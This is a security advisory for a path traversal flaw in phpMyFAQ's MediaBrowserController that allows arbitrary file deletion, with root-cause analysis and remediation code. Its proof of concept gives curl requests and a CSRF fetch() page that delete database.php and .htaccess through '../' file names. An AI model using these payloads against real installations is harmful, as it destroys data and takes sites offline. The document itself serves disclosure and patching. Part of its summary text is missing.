GHSA-38m8-xrfj-v38x phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController

• Packagist phpmyfaq/phpmyfaq: < 4.1.1 → fixed in 4.1.1

Summary The `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `"`, ``) and characters with ASCII value userHasPermission(PermissionType::FAQ_EDIT); // ... $data = json_decode($request->getContent()); $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS); if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS); $file = PMF_CONTENT_DIR . '/user/images/' . $file; if (file_exists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } } ``` Root Causes: 1. No path traversal prevention: `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters. 2. No CSRF protection: The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48. 3. No basename() or realpath() validation: The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory. 4. HTTP method mismatch: The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests. Comparison with secure implementation in the same codebase: The `ImageController::upload()` method (same directory) properly validates file names: ```php if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences } ``` The `FilesystemStorage::normalizePath()` method also properly validates paths: ```php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } } ``` PoC Direct exploitation (requires authenticated admin session): ```bash Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}' Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}' ``` CSRF exploitation (attacker hosts this HTML page): ```html fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); ``` When an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application. Impact • Server compromise: Deleting `content/core/config/database.php` causes total application failure (database connection loss). • Security bypass: Deleting `.htaccess` or `web.config` can expose sensitive directories and files. • Data loss: Arbitrary file deletion on the server filesystem. • Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections. Remediation 1. Add path traversal validation: ```php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS)); $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file); $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images'); if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST); } if (file_exists($targetPath)) { unlink($targetPath); } } ``` 2. Add CSRF protection: ```php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED); } ``` 3. Change HTTP method to POST or DELETE to align with proper HTTP semantics.